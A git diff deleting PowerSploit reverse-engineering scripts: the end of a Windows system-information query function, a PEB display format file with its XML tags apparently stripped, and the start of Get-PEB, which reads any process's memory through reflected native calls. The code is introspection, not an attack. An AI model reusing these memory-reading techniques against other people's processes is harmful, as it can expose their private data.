$ObjectResult.NextEntryOffset - $ObjectBaseAddr = $PtrData - } while ($ObjectResult.NextEntryOffset -ne 0) - } - - $Access = ( ($_.ValidAccessMask -band 0xFFFF0000) -as $AccessMask ) - if ($Access -eq 0) {$AccessValue = $null} else {$AccessValue = $Access} - - $ResultHashTable = @{ - NumberOfObjects = $Result.NumberOfObjects - NumberOfHandles = $Result.NumberOfHandles - TypeIndex = $Result.TypeIndex - InvalidAttributes = ($Result.InvalidAttributes -as $ObjectAttributes) - GenericMapping = $Result.GenericMapping - ValidAccessMask = $AccessValue - PoolType = $Result.PoolType - SecurityRequired = $Result.SecurityRequired - WaitableObject = $Result.WaitableObject - TypeName = $Result.TypeName.Buffer - Objects = $ObjectArray - } - - $ObjectType = New-Object PSObject -Property $ResultHashTable - $ObjectType.PSObject.TypeNames.Insert(0, '_SYSTEM_OBJECTTYPE_INFORMATION') - - Write-Output $ObjectType - - $NextTypeOffset = $Result.NextEntryOffset - } while ($NextTypeOffset -ne 0) - - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - } - - 'LockInformation' { - $Arguments = @{ - InformationClass = $SystemInformationClass::SystemLockInformation - StructType = $LockInfoClass - X86Size = 36 - X64Size = 48 - OffsetMultiplier = 1 - ErrorText = 'system lock' - } - - Get-Struct @Arguments - } - - 'CodeIntegrityInformation' { - $CIStructLength = 8 - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($CIStructLength) - [Runtime.InteropServices.Marshal]::WriteInt64($PtrData, 0) - [Runtime.InteropServices.Marshal]::WriteByte($PtrData, 8) # The length field in SYSTEM_CODEINTEGRITY_INFORMATION must be set to 8 - $ntdll::NtQuerySystemInformation($SystemInformationClass::SystemCodeIntegrityInformation, $PtrData, $CIStructLength, [Ref] 0) | Out-Null - $CIInfo = [Runtime.InteropServices.Marshal]::ReadInt32(([IntPtr]($PtrData.ToInt64() + 4))) - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - - $ResultHashTable = @{ - CodeIntegrityOptions = $CIInfo - LockdownState = ($CIInfo -band 0x1C) -as $LockdownState - } - - $CodeIntegrityType = New-Object PSObject -Property $ResultHashTable - $CodeIntegrityType.PSObject.TypeNames.Insert(0, '_SYSTEM_CODEINTEGRITY_INFORMATION') - - Write-Output $CodeIntegrityType - } - - 'GlobalFlags' { - $TotalLength = 0 - $ReturnedLength = 0 - - if ((($ntdll::NtQuerySystemInformation($SystemInformationClass::SystemGlobalFlag, [IntPtr]::Zero, 0, [Ref] $TotalLength) -as [NTSTATUS]) -ne [NTSTATUS]::STATUS_INFO_LENGTH_MISMATCH) -and ($TotalLength -gt 0)) - { - Write-Error 'Unable to obtain global flags information information.' - } - else - { - $PtrData = [Runtime.InteropServices.Marshal]::AllocHGlobal($TotalLength) - $ntdll::NtQuerySystemInformation($SystemInformationClass::SystemGlobalFlag, $PtrData, $TotalLength, [Ref] $ReturnedLength) | Out-Null - $Gflags = [Runtime.InteropServices.Marshal]::ReadInt32($PtrData) -as $GFlagsEnum - [Runtime.InteropServices.Marshal]::FreeHGlobal($PtrData) - - Write-Output $Gflags - } - } - - default { return } - } -} -#endregion diff --git a/ReverseEngineering/Get-PEB.format.ps1xml b/ReverseEngineering/Get-PEB.format.ps1xml deleted file mode 100644 index 3d075eb8..00000000 --- a/ReverseEngineering/Get-PEB.format.ps1xml +++ /dev/null @@ -1,1210 +0,0 @@ - - - - - - Both - - - - - - ProcessEnvironmentBlock_VistaView - - PEB.Vista - - - - - - - ProcessName - - - ProcessId - - - InheritedAddressSpace - - - ReadImageFileExecOptions - - - BeingDebugged - - - ImageUsesLargePages - - - IsProtectedProcess - - - IsLegacyProcess - - - IsImageDynamicallyRelocated - - - SkipPatchingUser32Forwarders - - - IsPackagedProcess - - - IsAppContainer - - - - "0x$($_.Mutant.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - Ldr - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - ProcessParameters - - - - "0x$($_.SubSystemData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLock.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AtlThunkSListPtr.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.IFEOKey.ToString("X$([IntPtr]::Size * 2)"))" - - - ProcessInJob - - - ProcessInitializing - - - ProcessUsingVEH - - - ProcessUsingVCH - - - ProcessUsingFTH - - - - "0x$($_.KernelCallbackTable.ToString("X$([IntPtr]::Size * 2)"))" - - - SystemReserved - 0x{0:X8} - - - AtlThunkSListPtr32 - 0x{0:X8} - - - - "0x$($_.ApiSetMap.ToString("X$([IntPtr]::Size * 2)"))" - - - TlsExpansionCounter - 0x{0:X8} - - - - "0x$($_.TlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.ReadOnlySharedMemoryBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HotpatchInformation.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlyStaticServerData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AnsiCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.OemCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.UnicodeCaseTableData.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfProcessors - 0x{0:X8} - - - NtGlobalFlag - 0x{0:X8} - - - CriticalSectionTimeout - 0x{0:X16} - - - - "0x$($_.HeapSegmentReserve.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapSegmentCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitTotalFreeThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitFreeBlockThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfHeaps - 0x{0:X8} - - - MaximumNumberOfHeaps - 0x{0:X8} - - - - "0x$($_.ProcessHeaps.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.GdiSharedHandleTable.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessStarterHelper.ToString("X$([IntPtr]::Size * 2)"))" - - - GdiDCAttributeList - 0x{0:X8} - - - - "0x$($_.LoaderLock.ToString("X$([IntPtr]::Size * 2)"))" - - - OSMajorVersion - - - OSMinorVersion - - - OSBuildNumber - - - OSCSDVersion - - - OSPlatformId - - - ImageSubsystem - - - ImageSubsystemMajorVersion - - - ImageSubsystemMinorVersion - - - - "0x$($_.ActiveProcessAffinityMask.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.GdiHandleBuffer | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.PostProcessInitRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.TlsExpansionBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsExpansionBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - SessionId - 0x{0:X8} - - - AppCompatFlags - 0x{0:X16} - - - AppCompatFlagsUser - 0x{0:X16} - - - - "0x$($_.pShimData.ToString("X$([IntPtr]::Size * 2)"))" - - - AppCompatInfo - 0x{0:X8} - - - CSDVersion - - - - "0x$($_.ActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemDefaultActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.MinimumStackCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FlsCallback.ToString("X$([IntPtr]::Size * 2)"))" - - - FlsListHead - - - - "0x$($_.FlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.FlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - FlsHighIndex - 0x{0:X8} - - - - "0x$($_.WerRegistrationData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.WerShipAssertPtr.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.pUnused.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.pImageHeaderHash.ToString("X$([IntPtr]::Size * 2)"))" - - - HeapTracingEnabled - - - CritSecTracingEnabled - - - LibLoaderTracingEnabled - - - CsrServerReadOnlySharedMemoryBase - 0x{0:X16} - - - - - - - - ProcessEnvironmentBlock_Server2003View - - PEB.Server2003 - - - - - - - ProcessName - - - ProcessId - - - - if($_.InheritedAddressSpace -eq 0){$False}else{$True} - - - - if($_.ReadImageFileExecOptions -eq 0){$False}else{$True} - - - - if($_.BeingDebugged -eq 0){$False}else{$True} - - - ImageUsesLargePages - - - - "0x$($_.Mutant.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - Ldr - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - ProcessParameters - - - - "0x$($_.SubSystemData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLock.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AtlThunkSListPtr.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SparePtr2.ToString("X$([IntPtr]::Size * 2)"))" - - - EnvironmentUpdateCount - 0x{0:X8} - - - - "0x$($_.KernelCallbackTable.ToString("X$([IntPtr]::Size * 2)"))" - - - SystemReserved - 0x{0:X8} - - - AtlThunkSListPtr32 - 0x{0:X8} - - - - "0x$($_.ApiSetMap.ToString("X$([IntPtr]::Size * 2)"))" - - - TlsExpansionCounter - 0x{0:X8} - - - - "0x$($_.TlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.ReadOnlySharedMemoryBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlySharedMemoryHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlyStaticServerData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AnsiCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.OemCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.UnicodeCaseTableData.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfProcessors - 0x{0:X8} - - - NtGlobalFlag - 0x{0:X8} - - - CriticalSectionTimeout - 0x{0:X16} - - - - "0x$($_.HeapSegmentReserve.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapSegmentCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitTotalFreeThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitFreeBlockThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfHeaps - 0x{0:X8} - - - MaximumNumberOfHeaps - 0x{0:X8} - - - - "0x$($_.ProcessHeaps.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.GdiSharedHandleTable.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessStarterHelper.ToString("X$([IntPtr]::Size * 2)"))" - - - GdiDCAttributeList - 0x{0:X8} - - - - "0x$($_.LoaderLock.ToString("X$([IntPtr]::Size * 2)"))" - - - OSMajorVersion - - - OSMinorVersion - - - OSBuildNumber - - - OSCSDVersion - - - OSPlatformId - - - ImageSubsystem - - - ImageSubsystemMajorVersion - - - ImageSubsystemMinorVersion - - - - "0x$($_.ActiveProcessAffinityMask.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.GdiHandleBuffer | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.PostProcessInitRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.TlsExpansionBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsExpansionBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - SessionId - 0x{0:X8} - - - AppCompatFlags - 0x{0:X16} - - - AppCompatFlagsUser - 0x{0:X16} - - - - "0x$($_.pShimData.ToString("X$([IntPtr]::Size * 2)"))" - - - AppCompatInfo - 0x{0:X8} - - - CSDVersion - - - - "0x$($_.ActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemDefaultActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.MinimumStackCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FlsCallback.ToString("X$([IntPtr]::Size * 2)"))" - - - FlsListHead - - - - "0x$($_.FlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.FlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - FlsHighIndex - 0x{0:X8} - - - - - - - - ProcessEnvironmentBlock_XPView - - PEB.XP - - - - - - - ProcessName - - - ProcessId - - - - if($_.InheritedAddressSpace -eq 0){$False}else{$True} - - - - if($_.ReadImageFileExecOptions -eq 0){$False}else{$True} - - - - if($_.BeingDebugged -eq 0){$False}else{$True} - - - - "0x$($_.Mutant.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ImageBaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - Ldr - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - ProcessParameters - - - - "0x$($_.SubSystemData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLock.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebLockRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.FastPebUnlockRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - EnvironmentUpdateCount - 0x{0:X8} - - - - "0x$($_.KernelCallbackTable.ToString("X$([IntPtr]::Size * 2)"))" - - - SystemReserved - 0x{0:X8} - - - AtlThunkSListPtr32 - 0x{0:X8} - - - - "0x$($_.ApiSetMap.ToString("X$([IntPtr]::Size * 2)"))" - - - TlsExpansionCounter - 0x{0:X8} - - - - "0x$($_.TlsBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.ReadOnlySharedMemoryBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlySharedMemoryHeap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ReadOnlyStaticServerData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.AnsiCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.OemCodePageData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.UnicodeCaseTableData.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfProcessors - 0x{0:X8} - - - NtGlobalFlag - 0x{0:X8} - - - CriticalSectionTimeout - 0x{0:X16} - - - - "0x$($_.HeapSegmentReserve.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapSegmentCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitTotalFreeThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.HeapDeCommitFreeBlockThreshold.ToString("X$([IntPtr]::Size * 2)"))" - - - NumberOfHeaps - 0x{0:X8} - - - MaximumNumberOfHeaps - 0x{0:X8} - - - - "0x$($_.ProcessHeaps.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.GdiSharedHandleTable.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessStarterHelper.ToString("X$([IntPtr]::Size * 2)"))" - - - GdiDCAttributeList - 0x{0:X8} - - - - "0x$($_.LoaderLock.ToString("X$([IntPtr]::Size * 2)"))" - - - OSMajorVersion - - - OSMinorVersion - - - OSBuildNumber - - - OSCSDVersion - - - OSPlatformId - - - ImageSubsystem - - - ImageSubsystemMajorVersion - - - ImageSubsystemMinorVersion - - - - "0x$($_.ActiveProcessAffinityMask.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.GdiHandleBuffer | % { "0x$($_.ToString('X8'))" }) -join ',' - - - - "0x$($_.PostProcessInitRoutine.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.TlsExpansionBitmap.ToString("X$([IntPtr]::Size * 2)"))" - - - - ($_.TlsExpansionBitmapBits | % { "0x$($_.ToString('X8'))" }) -join ',' - - - SessionId - 0x{0:X8} - - - AppCompatFlags - 0x{0:X16} - - - AppCompatFlagsUser - 0x{0:X16} - - - - "0x$($_.pShimData.ToString("X$([IntPtr]::Size * 2)"))" - - - AppCompatInfo - 0x{0:X8} - - - CSDVersion - - - - "0x$($_.ActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ProcessAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemDefaultActivationContextData.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SystemAssemblyStorageMap.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.MinimumStackCommit.ToString("X$([IntPtr]::Size * 2)"))" - - - - - - - - ProcessEnvironmentBlock_ModuleEntryView - - PEB.ModuleEntry - - - - - - - InLoadOrderModuleList - - - InMemoryOrderModuleList - - - InInitializationOrderModuleList - - - - "0x$($_.BaseAddress.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.EntryPoint.ToString("X$([IntPtr]::Size * 2)"))" - - - SizeOfImage - 0x{0:X8} - - - FullDllName - - - BaseDllName - - - PackagedBinary - - - ImageDll - - - LoadNotificationsSent - - - TelemetryEntryProcessed - - - ProcessStaticImport - - - InLegacyLists - - - InIndexes - - - ShimDll - - - InExceptionTable - - - LoadInProgress - - - EntryProcessed - - - DontCallForThreads - - - ProcessAttachCalled - - - ProcessAttachFailed - - - CorDeferredValidate - - - CorImage - - - DontRelocate - - - CorILOnly - - - Redirected - - - CompatDatabaseProcessed - - - ObsoleteLoadCount - 0x{0:X4} - - - TlsIndex - 0x{0:X4} - - - HashLinks - - - TimeDateStamp - - - - "0x$($_.EntryPointActivationContext.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.PatchInformation.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.DdagNode.ToString("X$([IntPtr]::Size * 2)"))" - - - NodeModuleLink - - - - "0x$($_.SnapContext.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.ParentDllBase.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.SwitchBackContext.ToString("X$([IntPtr]::Size * 2)"))" - - - BaseAddressIndexNode - - - MappingInfoIndexNode - - - - "0x$($_.OriginalBase.ToString("X$([IntPtr]::Size * 2)"))" - - - LoadTime - 0x{0:X16} - - - BaseNameHashValue - 0x{0:X8} - - - LoadReason - - - - - - - - ProcessParameters - - PEB.ProcessParameters - - - - - - - MaximumLength - 0x{0:X8} - - - Length - 0x{0:X8} - - - Flags - 0x{0:X8} - - - DebugFlags - 0x{0:X8} - - - - "0x$($_.ConsoleHandle.ToString("X$([IntPtr]::Size * 2)"))" - - - ConsoleFlags - 0x{0:X8} - - - - "0x$($_.StandardInput.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.StandardOutput.ToString("X$([IntPtr]::Size * 2)"))" - - - - "0x$($_.StandardError.ToString("X$([IntPtr]::Size * 2)"))" - - - CurrentDirectory - - - DllPath - - - ImagePathName - - - CommandLine - - - - "0x$($_.Environment.ToString("X$([IntPtr]::Size * 2)"))" - - - StartingX - 0x{0:X8} - - - StartingY - 0x{0:X8} - - - CountX - 0x{0:X8} - - - CountY - 0x{0:X8} - - - CountCharsX - 0x{0:X8} - - - CountCharsY - 0x{0:X8} - - - FillAttribute - 0x{0:X8} - - - WindowFlags - 0x{0:X8} - - - ShowWindowFlags - 0x{0:X8} - - - WindowTitle - - - DesktopInfo - - - ShellInfo - - - RuntimeData - - - - - - - - \ No newline at end of file diff --git a/ReverseEngineering/Get-PEB.ps1 b/ReverseEngineering/Get-PEB.ps1 deleted file mode 100644 index 86e064d6..00000000 --- a/ReverseEngineering/Get-PEB.ps1 +++ /dev/null @@ -1,1092 +0,0 @@ -function Get-PEB -{ -<# -.SYNOPSIS - -Returns the process environment block (PEB) of a process. - -PowerSploit Function: Get-PEB -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: Get-PEB.format.ps1xml - -.DESCRIPTION - -Get-PEB returns a fully parsed process environment block (PEB) of any process. Because the PEB and its underlying structure differ according to OS version and architecture, Get-PEB builds the PEB dynamically at runtime. Get-PEB is designed to work in Windows XP - Windows 8 32/64-bit. It will also return the PEB of Wow64 processes. - -.PARAMETER Id - -The process ID of the process whose PEB will be retrieved. - -.EXAMPLE - -C:\PS> $AllPEBs = Get-Process | Get-PEB - -Description ------------ -Get the PEB of every process. Note: To get the PEBs for all processes, run this command from an elevated instance of PowerShell - -.EXAMPLE - -C:\PS> $NotepadPEB = Get-PEB -Id (ps notepad) -C:\PS> $NotepadPEB.InInitializationOrderModuleList - -Description ------------ -Display all loaded modules of the notepad process in initialization order. - -.NOTES - -Some processes will not issue a handle unless you are running Get-PEB from an elevated instance of PowerShell. - -.LINK - -http://www.exploit-monday.com/2013/01/Get-PEB.html -http://msdn.microsoft.com/en-us/library/windows/desktop/aa813706(v=vs.85).aspx -#> - - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [Alias('PID')] - [UInt16[]] - $Id - ) - - BEGIN - { - Set-StrictMode -Version 2 - - $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? { $_.FullName.Split(',')[0].ToLower() -eq 'mscorlib' } - $Win32Native = $mscorlib.GetTypes() | ? { $_.FullName -eq 'Microsoft.Win32.Win32Native' } - - if ($Win32Native -eq $null) - { - throw 'Unable to get a reference to type: Microsoft.Win32.Win32Native' - } - - function Local:Get-NTStatusException - { - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] - [Int32[]] - $ErrorCode - ) - - BEGIN - { - $LsaNtStatusToWinError = $Win32Native.GetMethod('LsaNtStatusToWinError', [Reflection.BindingFlags] 'NonPublic, Static') - $GetMessage = $Win32Native.GetMethod('GetMessage', [Reflection.BindingFlags] 'NonPublic, Static') - } - PROCESS - { - foreach ($Error in $ErrorCode) - { - $WinErrorCode = $LsaNtStatusToWinError.Invoke($null, @($ErrorCode)) - - Write-Output $GetMessage.Invoke($null, @($WinErrorCode)) - } - } - END{} - } - - # The return value from Get-WindowsNTDDIVersion will be compared against these values to determine the structure of the PEB. - $NTDDI_VISTA = 0x06000000 - $NTDDI_WS03 = 0x05020000 - $NTDDI_WINXP = 0x05010000 - - function Local:Get-WindowsNTDDIVersion - { - # Return Windows version information as NTDDI_VERSION as defined in SdkDdkVer.h - # This will aid in determining version specific PEB fields to return - # Could this be accomplished with `Get-WmiObject Win32_OperatingSystem`? Yes, but I prefer not rely upon services that might be turned off. - $OSVersionInfoEx = $Win32Native.GetNestedTypes('NonPublic') | ? { $_.FullName -eq 'Microsoft.Win32.Win32Native+OSVERSIONINFOEX' } - - if ($OSVersionInfoEx -eq $null) - { - Write-Error "Unable to get a reference to kernel32!OSVersionInfoEx." - return - } - - $MajorVersion = $OSVersionInfoEx.GetField('MajorVersion', [Reflection.BindingFlags] 'NonPublic, Instance') - $MinorVersion = $OSVersionInfoEx.GetField('MinorVersion', [Reflection.BindingFlags] 'NonPublic, Instance') - $ServicePackMajor = $OSVersionInfoEx.GetField('ServicePackMajor', [Reflection.BindingFlags] 'NonPublic, Instance') - $ServicePackMinor = $OSVersionInfoEx.GetField('ServicePackMinor', [Reflection.BindingFlags] 'NonPublic, Instance') - $ProductTypeField = $OSVersionInfoEx.GetField('ProductType', [Reflection.BindingFlags] 'NonPublic, Instance') - - $OSVersionInfoContructor = $OSVersionInfoEx.GetConstructors()[0] - $OSVersionEx = $OSVersionInfoContructor.Invoke($null) - # This version is present in .NET 2 - $GetVersionEx = $Win32Native.GetMethod('GetVersionEx', [Reflection.BindingFlags] 'NonPublic, Static', $null, @($OSVersionInfoEx), $null) - if ($GetVersionEx -eq $null) - { - # This version is present in .NET 4 - $GetVersionEx = [Environment].GetMethod('GetVersionEx', [Reflection.BindingFlags] 'NonPublic, Static', $null, @($OSVersionInfoEx), $null) - } - if ($GetVersionEx -eq $null) - { - Write-Error "Unable to get a reference to GetVersionEx method." - return - } - $Success = $GetVersionEx.Invoke($null, @($OSVersionEx)) - - if (-not $Success) - { - Write-Error ([ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()) - return - } - - # Build the version string - $Version = [Int32] "0x$($MajorVersion.GetValue($OSVersionEx).ToString('D2'))$($MinorVersion.GetValue($OSVersionEx).ToString('D2'))$($ServicePackMajor.GetValue($OSVersionEx).ToString('D2'))$($ServicePackMinor.GetValue($OSVersionEx).ToString('D2'))" - $ProductType = $ProductTypeField.GetValue($OSVersionEx) - - if ($Version -lt $NTDDI_WINXP) - { - throw 'Could not determine the correct Windows version! Windows ME, Windows 3.1, and OS/2 Warp are not supported. :P' - } - - Write-Output $Version - } - - $NTDDI_VERSION = Get-WindowsNTDDIVersion - - try { $NativeMethods = @([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.GetTypes() } | ? { $_.FullName -eq 'Microsoft.Win32.NativeMethods' })[0] } catch {} - $NtProcessBasicInfo = $NativeMethods.GetNestedType('NtProcessBasicInfo', [Reflection.BindingFlags]::NonPublic) - $NtProcessBasicInfoConstructor = $NtProcessBasicInfo.GetConstructors()[0] - $ProcessBasicInfo = $NtProcessBasicInfoConstructor.Invoke($null) - - $GetProcessHandle = [Diagnostics.Process].GetMethod('GetProcessHandle', [Reflection.BindingFlags] 'NonPublic, Instance', $null, @([Int]), $null) - $PROCESS_QUERY_INFORMATION = 0x400 - $PROCESS_VM_READ = 0x0010 - - # Sanity check to make sure that we can proceed. Without proper references, a call to NtQueryInformationProcess will crash PowerShell. - if ($ProcessBasicInfo -eq $null) - { - Write-Error "Unable to get a reference to ProcessBasicInfo." - return - } - - $MEMORY_BASIC_INFORMATION = $Win32Native.GetNestedType('MEMORY_BASIC_INFORMATION', [Reflection.BindingFlags] 'NonPublic') - - if ($MEMORY_BASIC_INFORMATION -eq $null) - { - Write-Error 'Unable to get a reference to the MEMORY_BASIC_INFORMATION structure.' - return - } - - $OSArchitecture = [Int](Get-WmiObject Win32_OperatingSystem).OSArchitecture.Split('-')[0] - - try { $NativeUtils = [NativeUtils] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined - { - $DynAssembly = New-Object Reflection.AssemblyName('MemHacker') - $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MemHacker', $False) - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('NativeUtils', $Attributes, [ValueType]) - $TypeBuilder.DefinePInvokeMethod('ReadProcessMemory', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - $TypeBuilder.DefinePInvokeMethod('VirtualQueryEx', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [UInt32], @([IntPtr], [IntPtr], $MEMORY_BASIC_INFORMATION.MakeByRefType(), [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - if ($OSArchitecture -eq 64) - { - $TypeBuilder.DefinePInvokeMethod('IsWow64Process', 'kernel32.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [Bool], @([IntPtr], [Bool].MakeByRefType()), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - } - $TypeBuilder.DefinePInvokeMethod('NtQueryInformationProcess', 'ntdll.dll', [Reflection.MethodAttributes] 'Public, Static', [Reflection.CallingConventions]::Standard, [UInt32], @([IntPtr], [Int], $NtProcessBasicInfo, [Int], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto') | Out-Null - $NativeUtils = $TypeBuilder.CreateType() - } - - #region Determine OS/Process/PowerShell bitness - - # Get PowerShell's bit-ness accordingly to [IntPtr]::Size. The bitness of PowerShell is used as the basis for determining - # the bitness of the processes you're interested in. For example, calling Get-Process from 